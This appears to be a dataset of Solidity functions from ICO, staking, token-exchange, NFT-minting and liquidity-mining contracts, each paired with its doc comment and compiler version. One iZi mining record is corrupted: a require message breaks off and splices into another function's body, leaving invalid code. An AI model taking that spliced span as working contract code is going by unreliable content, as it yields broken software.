that some wallet contracts may end up sending a single null-byte.\r\n // Still reject calls of unknown functions, which are always at least 4 bytes of data.\r\n require(msg.data.length < 4);\r\n require(block.number < endBlock);\r\n\r\n uint256 soldToTuserWithBonus = calcBonus(msg.value);\r\n\r\n issueTokensToUser(msg.sender, soldToTuserWithBonus);\r\n ethPossibleRefunds[msg.sender] = ethPossibleRefunds[msg.sender].add(msg.value);\r\n }", "version": "0.4.19"} {"comment": "// ICO contract configuration function\n// new_ETH_QCO is the new rate of ETH in QCO to use when no bonus applies\n// newEndBlock is the absolute block number at which the ICO must stop. It must be set after now + silence period.", "function_code": "function updateEthICOVariables(uint256 _new_ETH_QCO, uint256 _newEndBlock)\r\n public\r\n onlyStateControl\r\n {\r\n require(state == States.Initial || state == States.ValuationSet);\r\n require(_new_ETH_QCO > 0);\r\n require(block.number < _newEndBlock);\r\n endBlock = _newEndBlock;\r\n // initial conversion rate of ETH_QCO set now, this is used during the Ico phase.\r\n ETH_QCO = _new_ETH_QCO;\r\n moveToState(States.ValuationSet);\r\n }", "version": "0.4.19"} {"comment": "//in case of a failed/aborted ICO every investor can get back their money", "function_code": "function requestRefund()\r\n public\r\n requireState(States.Aborted)\r\n {\r\n require(ethPossibleRefunds[msg.sender] > 0);\r\n //there is no need for updateAccount(msg.sender) since the token never became active.\r\n uint256 payout = ethPossibleRefunds[msg.sender];\r\n //reverse calculate the amount to pay out\r\n ethPossibleRefunds[msg.sender] = 0;\r\n msg.sender.transfer(payout);\r\n }", "version": "0.4.19"} {"comment": "/**\n * @dev One time initialization function\n * @param _token SNP token address\n * @param _liquidity SNP/USDC LP token address\n * @param _vesting public vesting contract address\n */", "function_code": "function init(\n address _token,\n address _liquidity,\n address _vesting\n ) external onlyOwner {\n require(_token != address(0), \"_token address cannot be 0\");\n require(_liquidity != address(0), \"_liquidity address cannot be 0\");\n require(_vesting != address(0), \"_vesting address cannot be 0\");\n require(tokenAddress == address(0), \"Init already done\");\n tokenAddress = _token;\n liquidityAddress = _liquidity;\n vestingAddress = _vesting;\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Updates reward in selected pool\n * @param _account address for which rewards will be updated\n * @param _lp true=lpStaking, false=tokenStaking\n */", "function_code": "function _updateReward(address _account, bool _lp) internal {\n uint256 newRewardPerTokenStored = currentRewardPerTokenStored(_lp);\n // if statement protects against loss in initialization case\n if (newRewardPerTokenStored > 0) {\n StakingData storage sd = _lp ? lpStaking : tokenStaking;\n sd.rewardPerTokenStored = newRewardPerTokenStored;\n sd.lastUpdateTime = lastTimeRewardApplicable();\n\n // setting of personal vars based on new globals\n if (_account != address(0)) {\n Stake storage s = _lp ? liquidityStake[_account] : tokenStake[_account];\n if (!s.isWithdrawing) {\n s.rewards = _earned(_account, _lp);\n s.rewardPerTokenPaid = newRewardPerTokenStored;\n }\n }\n }\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Add tokens for staking from vesting contract\n * @param _account address that call claimAndStake in vesting\n * @param _amount number of tokens sent to contract\n */", "function_code": "function onClaimAndStake(address _account, uint256 _amount)\n external\n nonReentrant\n updateReward(_account, false)\n updateSuperRewards(_account)\n {\n require(msg.sender == vestingAddress, \"Only vesting contract\");\n require(!tokenStake[_account].isWithdrawing, \"Cannot when withdrawing\");\n require(_amount > 0, \"Zero Amount\");\n\n Stake storage s = tokenStake[_account];\n StakingData storage sd = tokenStaking;\n\n if (s.stakeStart == 0) {\n // new stake\n s.stakeStart = block.timestamp;\n s.superStakerPossibleAt = s.stakeStart + timeToSuper.value;\n }\n\n // update account stake data\n s.tokens += _amount;\n\n // update pool staking data\n sd.stakedTokens += _amount;\n if (s.isSuperStaker) {\n sd.stakedSuperTokens += _amount;\n }\n\n // update global data\n data.depositedTokens += _amount;\n\n emit StakeAdded(_account, _amount);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Add tokens to staking contract by using permit to set allowance\n * @param _amount of tokens to stake\n * @param _deadline of permit signature\n * @param _approveMax allowance for the token\n */", "function_code": "function addTokenStakeWithPermit(\n uint256 _amount,\n uint256 _deadline,\n bool _approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external {\n uint256 value = _approveMax ? type(uint256).max : _amount;\n IERC20(tokenAddress).permit(msg.sender, address(this), value, _deadline, v, r, s);\n _addStake(msg.sender, _amount, false);\n emit StakeAdded(msg.sender, _amount);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Internal add stake function\n * @param _account selected staked tokens are credited to this address\n * @param _amount of staked tokens\n * @param _lp true=LP token, false=SNP token\n */", "function_code": "function _addStake(\n address _account,\n uint256 _amount,\n bool _lp\n ) internal nonReentrant updateReward(_account, _lp) updateSuperRewards(_account) {\n require(_amount > 0, \"Zero Amount\");\n Stake storage s = _lp ? liquidityStake[_account] : tokenStake[_account];\n require(!s.isWithdrawing, \"Cannot when withdrawing\");\n\n address token = _lp ? liquidityAddress : tokenAddress;\n\n // check for fee-on-transfer and proceed with received amount\n _amount = _transferFrom(token, msg.sender, _amount);\n\n if (s.stakeStart == 0) {\n // new stake\n s.stakeStart = block.timestamp;\n s.superStakerPossibleAt = s.stakeStart + timeToSuper.value;\n }\n\n StakingData storage sd = _lp ? lpStaking : tokenStaking;\n\n // update account stake data\n s.tokens += _amount;\n\n // update pool staking data\n sd.stakedTokens += _amount;\n if (s.isSuperStaker) {\n sd.stakedSuperTokens += _amount;\n }\n\n // update global data\n if (_lp) {\n data.depositedLiquidity += _amount;\n } else {\n data.depositedTokens += _amount;\n }\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Restake earned tokens and add them to token stake (instead of claiming)\n * If have LP stake but not token stake - token stake will be created.\n */", "function_code": "function restake() external hasStake updateRewards(msg.sender) updateSuperRewards(msg.sender) {\n Stake storage ts = tokenStake[msg.sender];\n Stake storage ls = liquidityStake[msg.sender];\n require(!ts.isWithdrawing, \"Cannot when withdrawing\");\n\n uint256 rewards = ts.rewards + ls.rewards;\n require(rewards > 0, \"Nothing to restake\");\n\n delete ts.rewards;\n delete ls.rewards;\n\n if (ts.stakeStart == 0) {\n // new stake\n ts.stakeStart = block.timestamp;\n ts.superStakerPossibleAt = ts.stakeStart + timeToSuper.value;\n }\n\n // update account stake data\n ts.tokens += rewards;\n\n // update pool staking data\n tokenStaking.stakedTokens += rewards;\n if (ts.isSuperStaker) {\n tokenStaking.stakedSuperTokens += rewards;\n }\n\n data.totalRewardsClaimed += rewards;\n data.depositedTokens += rewards;\n\n emit Claimed(msg.sender, rewards);\n emit StakeAdded(msg.sender, rewards);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Internal claim function. First updates rewards in normal and super pools\n * and then transfers.\n * @param _account claim rewards for this address\n * @param _recipient claimed tokens are sent to this address\n */", "function_code": "function _claim(address _account, address _recipient) internal nonReentrant hasStake updateRewards(_account) updateSuperRewards(_account) {\n uint256 rewards = tokenStake[_account].rewards + liquidityStake[_account].rewards;\n\n require(rewards > 0, \"Nothing to claim\");\n\n delete tokenStake[_account].rewards;\n delete liquidityStake[_account].rewards;\n\n data.totalRewardsClaimed += rewards;\n _transfer(tokenAddress, _recipient, rewards);\n\n emit Claimed(_account, rewards);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Internal request unstake function. Update normal and super rewards for the user first.\n * @param _account User address\n * @param _lp true=it is LP stake\n */", "function_code": "function _requestUnstake(address _account, bool _lp)\n internal\n hasPoolStake(_account, _lp)\n updateReward(_account, _lp)\n updateSuperRewards(_account)\n {\n Stake storage s = _lp ? liquidityStake[_account] : tokenStake[_account];\n require(!s.isWithdrawing, \"Cannot when withdrawing\");\n StakingData storage sd = _lp ? lpStaking : tokenStaking;\n\n // update account stake data\n s.isWithdrawing = true;\n s.withdrawalPossibleAt = block.timestamp + timeToUnstake.value;\n\n // update pool staking data\n sd.stakedTokens -= s.tokens;\n if (s.isSuperStaker) {\n delete s.isSuperStaker;\n sd.stakedSuperTokens -= s.tokens;\n }\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Withdraw stake for msg.sender from both stakes (if possible)\n */", "function_code": "function unstake() external nonReentrant hasStake canUnstake {\n bool success;\n uint256 reward;\n uint256 tokens;\n uint256 rewards;\n\n (reward, success) = _unstake(msg.sender, false);\n rewards += reward;\n if (success) {\n tokens += tokenStake[msg.sender].tokens;\n data.depositedTokens -= tokenStake[msg.sender].tokens;\n emit StakeRemoved(msg.sender, tokenStake[msg.sender].tokens);\n delete tokenStake[msg.sender];\n }\n\n (reward, success) = _unstake(msg.sender, true);\n rewards += reward;\n if (success) {\n delete liquidityStake[msg.sender];\n }\n\n if (tokens + rewards > 0) {\n _transfer(tokenAddress, msg.sender, tokens + rewards);\n if (rewards > 0) {\n emit Claimed(msg.sender, rewards);\n }\n }\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Internal unstake function, withdraw staked LP tokens\n * @param _account address of account to transfer LP tokens\n * @param _lp true = LP stake\n * @return stake rewards amount\n * @return bool true if success\n */", "function_code": "function _unstake(address _account, bool _lp) internal returns (uint256, bool) {\n Stake memory s = _lp ? liquidityStake[_account] : tokenStake[_account];\n if (!s.isWithdrawing) return (0, false);\n if (s.withdrawalPossibleAt > block.timestamp) return (0, false);\n\n data.totalRewardsClaimed += s.rewards;\n\n // only LP stake\n if (_lp && s.tokens > 0) {\n data.depositedLiquidity -= s.tokens;\n _transfer(liquidityAddress, _account, s.tokens);\n emit StakeLiquidityRemoved(_account, s.tokens);\n }\n\n return (s.rewards, true);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Unstake requested stake at any time accepting 10% penalty fee\n */", "function_code": "function unstakeWithFee() external nonReentrant hasStake cantUnstake {\n Stake memory ts = tokenStake[msg.sender];\n Stake memory ls = liquidityStake[msg.sender];\n uint256 tokens;\n uint256 rewards;\n\n if (ls.isWithdrawing) {\n uint256 lpTokens = _minusFee(ls.tokens); //remaining tokens remain on the contract\n\n rewards += ls.rewards;\n\n data.totalRewardsClaimed += ls.rewards;\n data.depositedLiquidity -= ls.tokens;\n emit StakeLiquidityRemoved(msg.sender, ls.tokens);\n\n if (lpTokens > 0) {\n _transfer(liquidityAddress, msg.sender, lpTokens);\n }\n\n delete liquidityStake[msg.sender];\n }\n\n if (ts.isWithdrawing) {\n tokens = _minusFee(ts.tokens); // remaining tokens goes to Super Stakers\n\n rewards += ts.rewards;\n\n data.totalRewardsClaimed += ts.rewards;\n data.depositedTokens -= ts.tokens;\n emit StakeRemoved(msg.sender, ts.tokens);\n\n delete tokenStake[msg.sender];\n }\n\n if (tokens + rewards > 0) {\n _transfer(tokenAddress, msg.sender, tokens + rewards);\n if (rewards > 0) {\n emit Claimed(msg.sender, rewards);\n }\n }\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Set Super Staker status if possible for selected pool.\n * Update super reward pools.\n * @param _account address of account to set super\n * @param _lp true=LP stake super staker, false=token stake super staker\n */", "function_code": "function _setSuper(address _account, bool _lp)\n internal\n hasPoolStake(_account, _lp)\n canBeSuper(_account, _lp)\n updateSuperRewards(address(0))\n {\n Stake storage s = _lp ? liquidityStake[_account] : tokenStake[_account];\n StakingData storage sd = _lp ? lpStaking : tokenStaking;\n\n sd.stakedSuperTokens += s.tokens;\n\n s.isSuperStaker = true;\n s.superRewardPerTokenPaid = sd.superRewardPerTokenStored;\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Calculates the amount of unclaimed rewards per token since last update,\n * and sums with stored to give the new cumulative reward per token\n * @param _lp true=lpStaking, false=tokenStaking\n * @return 'Reward' per staked token\n */", "function_code": "function currentRewardPerTokenStored(bool _lp) public view returns (uint256) {\n StakingData memory sd = _lp ? lpStaking : tokenStaking;\n uint256 stakedTokens = sd.stakedTokens;\n uint256 rewardPerTokenStored = sd.rewardPerTokenStored;\n // If there is no staked tokens, avoid div(0)\n if (stakedTokens == 0) {\n return (rewardPerTokenStored);\n }\n // new reward units to distribute = rewardRate * timeSinceLastUpdate\n uint256 timeDelta = lastTimeRewardApplicable() - sd.lastUpdateTime;\n uint256 rewardUnitsToDistribute = sd.rewardRate * timeDelta;\n // new reward units per token = (rewardUnitsToDistribute * 1e18) / stakedTokens\n uint256 unitsToDistributePerToken = rewardUnitsToDistribute.divPrecisely(stakedTokens);\n // return summed rate\n return (rewardPerTokenStored + unitsToDistributePerToken);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Calculates the amount of unclaimed rewards a user has earned\n * @param _account user address\n * @param _lp true=liquidityStake, false=tokenStake\n * @return Total reward amount earned\n */", "function_code": "function _earned(address _account, bool _lp) internal view returns (uint256) {\n Stake memory s = _lp ? liquidityStake[_account] : tokenStake[_account];\n if (s.isWithdrawing) return s.rewards;\n // current rate per token - rate user previously received\n uint256 rewardPerTokenStored = currentRewardPerTokenStored(_lp);\n uint256 userRewardDelta = rewardPerTokenStored - s.rewardPerTokenPaid;\n uint256 userNewReward = s.tokens.mulTruncate(userRewardDelta);\n // add to previous rewards\n return (s.rewards + userNewReward);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Check if staker can set super staker status on token or LP stake\n * @param _account address to check\n * @return token true if can set super staker on token stake\n * @return lp true if can set super staker on LP stake\n */", "function_code": "function canSetSuper(address _account) external view returns (bool token, bool lp) {\n Stake memory ts = tokenStake[_account];\n Stake memory ls = liquidityStake[_account];\n if (ts.tokens > 0 && block.timestamp >= ts.superStakerPossibleAt && !ts.isSuperStaker && !ts.isWithdrawing) token = true;\n if (ls.tokens > 0 && block.timestamp >= ls.superStakerPossibleAt && !ls.isSuperStaker && !ls.isWithdrawing) lp = true;\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Notifies the contract that new rewards have been added.\n * Calculates an updated rewardRate based on the rewards in period.\n * @param _reward Units of SNP token that have been added to the token pool\n * @param _lpReward Units of SNP token that have been added to the lp pool\n */", "function_code": "function notifyRewardAmount(uint256 _reward, uint256 _lpReward) external onlyRewardsDistributor updateRewards(address(0)) {\n uint256 currentTime = block.timestamp;\n\n // pull tokens\n require(_transferFrom(tokenAddress, msg.sender, _reward + _lpReward) == _reward + _lpReward, \"Exclude Rewarder from fee\");\n\n // If previous period over, reset rewardRate\n if (currentTime >= periodFinish) {\n tokenStaking.rewardRate = _reward / WEEK;\n lpStaking.rewardRate = _lpReward / WEEK;\n }\n // If additional reward to existing period, calc sum\n else {\n uint256 remaining = periodFinish - currentTime;\n\n uint256 leftoverReward = remaining * tokenStaking.rewardRate;\n tokenStaking.rewardRate = (_reward + leftoverReward) / WEEK;\n\n uint256 leftoverLpReward = remaining * lpStaking.rewardRate;\n lpStaking.rewardRate = (_lpReward + leftoverLpReward) / WEEK;\n }\n\n tokenStaking.lastUpdateTime = currentTime;\n lpStaking.lastUpdateTime = currentTime;\n periodFinish = currentTime + WEEK;\n\n data.totalRewardsAdded += _reward + _lpReward;\n\n emit Recalculation(_reward, _lpReward);\n }", "version": "0.8.6"} {"comment": "/**\r\n * @dev Just exchage your MILK2 for one(1) SHAKE.\r\n * Caller must have MILK2 on his/her balance, see `currShakePrice`\r\n * Each call will increase SHAKE price with one step, see `SHAKE_PRICE_STEP`.\r\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\r\n *\r\n * Function can be called after `START_FROM_BLOCK` \r\n */", "function_code": "function getOneShake() external {\r\n require(block.number >= START_FROM_BLOCK, \"Please wait for start block\");\r\n\r\n IERC20 milk2Token = IERC20(MILK_ADDRESS);\r\n\r\n require(milk2Token.balanceOf(msg.sender) >= currShakePrice, \"There is no enough MILK2\");\r\n require(milk2Token.burn(msg.sender, currShakePrice), \"Can't burn your MILK2\");\r\n \r\n IERC20 shakeToken = IERC20(SHAKE_ADDRESS);\r\n currShakePrice = currShakePrice.add(SHAKE_PRICE_STEP);\r\n shakeToken.mint(msg.sender, 1*10**18);\r\n \r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Just exchange your SHAKE for MILK2.\r\n * Caller must have SHAKE on his/her balance.\r\n * `_amount` is amount of user's SHAKE that he/she want burn for get MILK2 \r\n * Note that one need use `_amount` without decimals.\r\n * \r\n * Note that MILK2 amount will calculate from the reduced by one step `currShakePrice`\r\n *\r\n * Function can be called after `START_FROM_BLOCK`\r\n */", "function_code": "function getMilkForShake(uint16 _amount) external {\r\n require(block.number >= START_FROM_BLOCK, \"Please wait for start block\");\r\n\r\n IERC20 shakeToken = IERC20(SHAKE_ADDRESS);\r\n \r\n require(shakeToken.balanceOf(msg.sender) >= uint256(_amount)*10**18, \"There is no enough SHAKE\");\r\n require(shakeToken.burn(msg.sender, uint256(_amount)*10**18), \"Can't burn your SHAKE\");\r\n \r\n IERC20 milk2Token = IERC20(MILK_ADDRESS);\r\n milk2Token.mint(msg.sender, uint256(_amount).mul(currShakePrice.sub(SHAKE_PRICE_STEP)));\r\n \r\n }", "version": "0.6.12"} {"comment": "/**\n * @dev Returns the key-value pair stored at position `index` in the map. O(1).\n *\n * Note that there are no guarantees on the ordering of entries inside the\n * array, and it may change when more entries are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */", "function_code": "function _at(Map storage map, uint256 index)\n private\n view\n returns (bytes32, bytes32)\n {\n require(\n map._entries.length > index,\n \"EnumerableMap: index out of bounds\"\n );\n\n MapEntry storage entry = map._entries[index];\n return (entry._key, entry._value);\n }", "version": "0.8.9"} {"comment": "// Enter the bar. Pay some SUSHIs. Earn some shares.", "function_code": "function enter(uint256 _amount) public {\r\n uint256 totalSushi = sushi.balanceOf(address(this));\r\n uint256 totalShares = totalSupply();\r\n if (totalShares == 0 || totalSushi == 0) {\r\n _mint(msg.sender, _amount);\r\n } else {\r\n uint256 what = _amount.mul(totalShares).div(totalSushi);\r\n _mint(msg.sender, what);\r\n }\r\n sushi.transferFrom(msg.sender, address(this), _amount);\r\n }", "version": "0.6.2"} {"comment": "//wraping all buy or mint function in one function:", "function_code": "function mint(uint256 _countNfts) public payable whenNotPaused {\n uint NFTsPrice = NFTPrice * _countNfts;\n address to = msg.sender; \n require(totalSupply() + _countNfts <= NFTMaxSupply, \"NFT: Max Supply reached\");\n require(_countNfts > 0, \"NFT: No of NFTs must be greater then zero\");\n \n\n if (msg.sender != owner()) {\n require(startSale == true, \"NFT sale not started\");\n require(msg.value == NFTsPrice, \"Please enter exact price\");\n require(_countNfts <= maxCapPerMint, \"Max limit is 50 NFT in one transaction\");\n require(mintBlanceOf[to] + _countNfts <= maxCapPerMint, \"Max per wallet minting limit reached\");\n }\n \n for (uint i = 0; i < _countNfts; i++ ) {\n uint256 tokenId = _tokenIdCounter.current();\n _tokenIdCounter.increment();\n mintBlanceOf[to] += 1;\n _safeMint(to, tokenId);\n _setTokenURI(tokenId, \"\");\n }\n }", "version": "0.8.2"} {"comment": "/// @notice Get the overall info for the mining contract.", "function_code": "function getMiningContractInfo()\n external\n view\n returns (\n address uniToken_,\n address lockToken_,\n uint24 fee_,\n uint256 lockBoostMultiplier_,\n address iziTokenAddr_,\n uint256 lastTouchBlock_,\n uint256 totalVLiquidity_,\n uint256 totalLock_,\n uint256 totalNIZI_,\n uint256 startBlock_,\n uint256 endBlock_\n )\n {\n return (\n uniToken,\n lockToken,\n rewardPool.fee,\n lockBoostMultiplier,\n address(iziToken),\n lastTouchBlock,\n totalVLiquidity,\n totalLock,\n totalNIZI,\n startBlock,\n endBlock\n );\n }", "version": "0.8.4"} {"comment": "/// @notice new a token status when touched.", "function_code": "function _newTokenStatus(TokenStatus memory newTokenStatus) internal {\n tokenStatus[newTokenStatus.nftId] = newTokenStatus;\n TokenStatus storage t = tokenStatus[newTokenStatus.nftId];\n\n t.lastTouchBlock = lastTouchBlock;\n t.lastTouchAccRewardPerShare = new uint256[](rewardInfosLen);\n for (uint256 i = 0; i < rewardInfosLen; i++) {\n t.lastTouchAccRewardPerShare[i] = rewardInfos[i].accRewardPerShare;\n }\n }", "version": "0.8.4"} {"comment": "/// @notice update a token status when touched", "function_code": "function _updateTokenStatus(\n uint256 tokenId,\n uint256 validVLiquidity,\n uint256 nIZI\n ) internal {\n TokenStatus storage t = tokenStatus[tokenId];\n\n // when not boost, validVL == vL\n t.validVLiquidity = validVLiquidity;\n t.nIZI = nIZI;\n\n t.lastTouchBlock = lastTouchBlock;\n for (uint256 i = 0; i < rewardInfosLen; i++) {\n t.lastTouchAccRewardPerShare[i] = rewardInfos[i].accRewardPerShare;\n }\n }", "version": "0.8.4"} {"comment": "/// @notice Update reward variables to be up-to-date.", "function_code": "function _updateVLiquidity(uint256 vLiquidity, bool isAdd) internal {\n if (isAdd) {\n totalVLiquidity = totalVLiquidity + vLiquidity;\n } else {\n totalVLiquidity = totalVLiquidity - vLiquidity;\n }\n\n // max lockBoostMultiplier is 3\n require(totalVLiquidity <= FixedPoints.Q128 * 3, \"TOO MUCH LIQUIDITY STAKED\");\n }", "version": "0.8.4"} {"comment": "/// @notice Update the global status.", "function_code": "function _updateGlobalStatus() internal {\n if (block.number <= lastTouchBlock) {\n return;\n }\n if (lastTouchBlock >= endBlock) {\n return;\n }\n uint256 currBlockNumber = Math.min(block.number, endBlock);\n if (totalVLiquidity == 0) {\n lastTouchBlock = currBlockNumber;\n return;\n }\n\n for (uint256 i = 0; i < rewardInfosLen; i++) {\n // tokenReward < 2^25 * 2^64 * 2*10, 15 years, 1000 r/block\n uint256 tokenReward = (currBlockNumber - lastTouchBlock) * rewardInfos[i].rewardPerBlock;\n // tokenReward * Q128 < 2^(25 + 64 + 10 + 128)\n rewardInfos[i].accRewardPerShare = rewardInfos[i].accRewardPerShare + ((tokenReward * FixedPoints.Q128) / totalVLiquidity);\n }\n lastTouchBlock = currBlockNumber;\n }", "version": "0.8.4"} {"comment": "/// @dev get sqrtPrice of pool(uniToken/tokenSwap/fee)\n/// and compute tick range converted from [TICK_MIN, PriceUni] or [PriceUni, TICK_MAX]\n/// @return sqrtPriceX96 current sqrtprice value viewed from uniswap pool, is a 96-bit fixed point number\n/// note this value might mean price of lockToken/uniToken (if uniToken < lockToken)\n/// or price of uniToken / lockToken (if uniToken > lockToken)\n/// @return tickLeft\n/// @return tickRight", "function_code": "function _getPriceAndTickRange()\n private\n view\n returns (\n uint160 sqrtPriceX96,\n int24 tickLeft,\n int24 tickRight\n )\n {\n (int24 avgTick, uint160 avgSqrtPriceX96, int24 currTick, ) = swapPool\n .getAvgTickPriceWithin2Hour();\n int24 tickSpacing = IUniswapV3Factory(uniFactory).feeAmountTickSpacing(\n rewardPool.fee\n );\n if (uniToken < lockToken) {\n // price is lockToken / uniToken\n // uniToken is X\n tickLeft = Math.max(currTick + 1, avgTick);\n tickRight = TICK_MAX;\n tickLeft = Math.tickUpper(tickLeft, tickSpacing);\n tickRight = Math.tickUpper(tickRight, tickSpacing);\n } else {\n // price is uniToken / lockToken\n // uniToken is Y\n tickRight = Math.min(currTick, avgTick);\n tickLeft = TICK_MIN;\n tickLeft = Math.tickFloor(tickLeft, tickSpacing);\n tickRight = Math.tickFloor(tickRight, tickSpacing);\n }\n require(tickLeft < tickRight, \"L 0, \"DEPOSIT IZI MUST BE POSITIVE\");\n _collectReward(tokenId);\n TokenStatus memory t = tokenStatus[tokenId];\n _updateNIZI(deltaNIZI, true);\n uint256 nIZI = t.nIZI + deltaNIZI;\n // update validVLiquidity\n uint256 validVLiquidity = _computeValidVLiquidity(t.vLiquidity, nIZI);\n _updateTokenStatus(tokenId, validVLiquidity, nIZI);\n\n // transfer iZi from user\n iziToken.safeTransferFrom(msg.sender, address(this), deltaNIZI);\n }", "version": "0.8.4"} {"comment": "/// @notice Widthdraw a single position.\n/// @param tokenId The related position id.\n/// @param noReward true if use want to withdraw without reward", "function_code": "function withdraw(uint256 tokenId, bool noReward) external nonReentrant {\n require(owners[tokenId] == msg.sender, \"NOT OWNER OR NOT EXIST\");\n\n if (noReward) {\n _updateGlobalStatus();\n } else {\n _collectReward(tokenId);\n }\n TokenStatus storage t = tokenStatus[tokenId];\n\n _updateVLiquidity(t.vLiquidity, false);\n if (t.nIZI > 0) {\n _updateNIZI(t.nIZI, false);\n // refund iZi to user\n iziToken.safeTransfer(msg.sender, t.nIZI);\n }\n if (t.lockAmount > 0) {\n // refund lockToken to user\n IERC20(lockToken).safeTransfer(msg.sender, t.lockAmount);\n totalLock -= t.lockAmount;\n }\n\n INonfungiblePositionManager(uniV3NFTManager).decreaseLiquidity(\n _withdrawUniswapParam(tokenId, t.uniLiquidity, type(uint256).max)\n );\n\n if (!uniIsETH) {\n INonfungiblePositionManager(uniV3NFTManager).collect(\n _collectUniswapParam(tokenId, msg.sender)\n );\n } else {\n (uint256 amount0, uint256 amount1) = INonfungiblePositionManager(\n uniV3NFTManager\n ).collect(\n _collectUniswapParam(\n tokenId,\n address(this)\n )\n );\n (uint256 amountUni, uint256 amountLock) = (uniToken < lockToken)? (amount0, amount1) : (amount1, amount0);\n if (amountLock > 0) {\n IERC20(lockToken).safeTransfer(msg.sender, amountLock);\n }\n\n if (amountUni > 0) {\n IWETH9(uniToken).withdraw(amountUni);\n safeTransferETH(msg.sender, amountUni);\n }\n }\n\n owners[tokenId] = address(0);\n bool res = tokenIds[msg.sender].remove(tokenId);\n require(res);\n\n emit Withdraw(msg.sender, tokenId);\n }", "version": "0.8.4"} {"comment": "/// @notice Collect pending reward for a single position.\n/// @param tokenId The related position id.", "function_code": "function _collectReward(uint256 tokenId) internal {\n TokenStatus memory t = tokenStatus[tokenId];\n\n _updateGlobalStatus();\n for (uint256 i = 0; i < rewardInfosLen; i++) {\n // multiplied by Q128 before\n uint256 _reward = (t.validVLiquidity * (rewardInfos[i].accRewardPerShare - t.lastTouchAccRewardPerShare[i])) / FixedPoints.Q128;\n if (_reward > 0) {\n IERC20(rewardInfos[i].rewardToken).safeTransferFrom(\n rewardInfos[i].provider,\n msg.sender,\n _reward\n );\n }\n emit CollectReward(\n msg.sender,\n tokenId,\n rewardInfos[i].rewardToken,\n _reward\n );\n }\n\n // update validVLiquidity\n uint256 validVLiquidity = _computeValidVLiquidity(t.vLiquidity, t.nIZI);\n _updateTokenStatus(tokenId, validVLiquidity, t.nIZI);\n }", "version": "0.8.4"} {"comment": "/// @notice Collect all pending rewards.", "function_code": "function collectAllTokens() external nonReentrant {\n EnumerableSet.UintSet storage ids = tokenIds[msg.sender];\n for (uint256 i = 0; i < ids.length(); i++) {\n require(owners[ids.at(i)] == msg.sender, \"NOT OWNER\");\n _collectReward(ids.at(i));\n INonfungiblePositionManager.CollectParams\n memory params = _collectUniswapParam(ids.at(i), msg.sender);\n // collect swap fee from uniswap\n INonfungiblePositionManager(uniV3NFTManager).collect(params);\n }\n }", "version": "0.8.4"} {"comment": "/// @notice View function to get position ids staked here for an user.\n/// @param _user The related address.", "function_code": "function getTokenIds(address _user)\n external\n view\n returns (uint256[] memory)\n {\n EnumerableSet.UintSet storage ids = tokenIds[_user];\n // push could not be used in memory array\n // we set the tokenIdList into a fixed-length array rather than dynamic\n uint256[] memory tokenIdList = new uint256[](ids.length());\n for (uint256 i = 0; i < ids.length(); i++) {\n tokenIdList[i] = ids.at(i);\n }\n return tokenIdList;\n }", "version": "0.8.4"} {"comment": "/// @notice Return reward multiplier over the given _from to _to block.\n/// @param _from The start block.\n/// @param _to The end block.", "function_code": "function _getRewardBlockNum(uint256 _from, uint256 _to)\n internal\n view\n returns (uint256)\n {\n if (_from > _to) {\n return 0;\n }\n if (_to <= endBlock) {\n return _to - _from;\n } else if (_from >= endBlock) {\n return 0;\n } else {\n return endBlock - _from;\n }\n }", "version": "0.8.4"} {"comment": "/// @notice View function to see pending Reward for a single position.\n/// @param tokenId The related position id.", "function_code": "function pendingReward(uint256 tokenId)\n public\n view\n returns (uint256[] memory)\n {\n TokenStatus memory t = tokenStatus[tokenId];\n uint256[] memory _reward = new uint256[](rewardInfosLen);\n for (uint256 i = 0; i < rewardInfosLen; i++) {\n uint256 tokenReward = _getRewardBlockNum(\n lastTouchBlock,\n block.number\n ) * rewardInfos[i].rewardPerBlock;\n uint256 rewardPerShare = rewardInfos[i].accRewardPerShare + (tokenReward * FixedPoints.Q128) / totalVLiquidity;\n // l * (currentAcc - lastAcc)\n _reward[i] = (t.validVLiquidity * (rewardPerShare - t.lastTouchAccRewardPerShare[i])) / FixedPoints.Q128;\n }\n return _reward;\n }", "version": "0.8.4"} {"comment": "/// @notice View function to see pending Rewards for an address.\n/// @param _user The related address.", "function_code": "function pendingRewards(address _user)\n external\n view\n returns (uint256[] memory)\n {\n uint256[] memory _reward = new uint256[](rewardInfosLen);\n for (uint256 j = 0; j < rewardInfosLen; j++) {\n _reward[j] = 0;\n }\n\n for (uint256 i = 0; i < tokenIds[_user].length(); i++) {\n uint256[] memory r = pendingReward(tokenIds[_user].at(i));\n for (uint256 j = 0; j < rewardInfosLen; j++) {\n _reward[j] += r[j];\n }\n }\n return _reward;\n }", "version": "0.8.4"} {"comment": "/// @notice If something goes wrong, we can send back user's nft and locked assets\n/// @param tokenId The related position id.", "function_code": "function emergenceWithdraw(uint256 tokenId) external onlyOwner {\n address owner = owners[tokenId];\n require(owner != address(0));\n INonfungiblePositionManager(uniV3NFTManager).safeTransferFrom(\n address(this),\n owner,\n tokenId\n );\n\n TokenStatus storage t = tokenStatus[tokenId];\n if (t.nIZI > 0) {\n // we should ensure nft refund to user\n // omit the case when transfer() returns false unexpectedly\n iziToken.transfer(owner, t.nIZI);\n }\n if (t.lockAmount > 0) {\n // we should ensure nft refund to user\n // omit the case when transfer() returns false unexpectedly\n IERC20(lockToken).transfer(owner, t.lockAmount);\n }\n // makesure user cannot withdraw/depositIZI or collect reward on this nft\n owners[tokenId] = address(0);\n }", "version": "0.8.4"} {"comment": "// takes in _encodedData and converts to seascape", "function_code": "function metadataIsValid (uint256 _offerId, bytes memory _encodedData,\n uint8 v, bytes32 r, 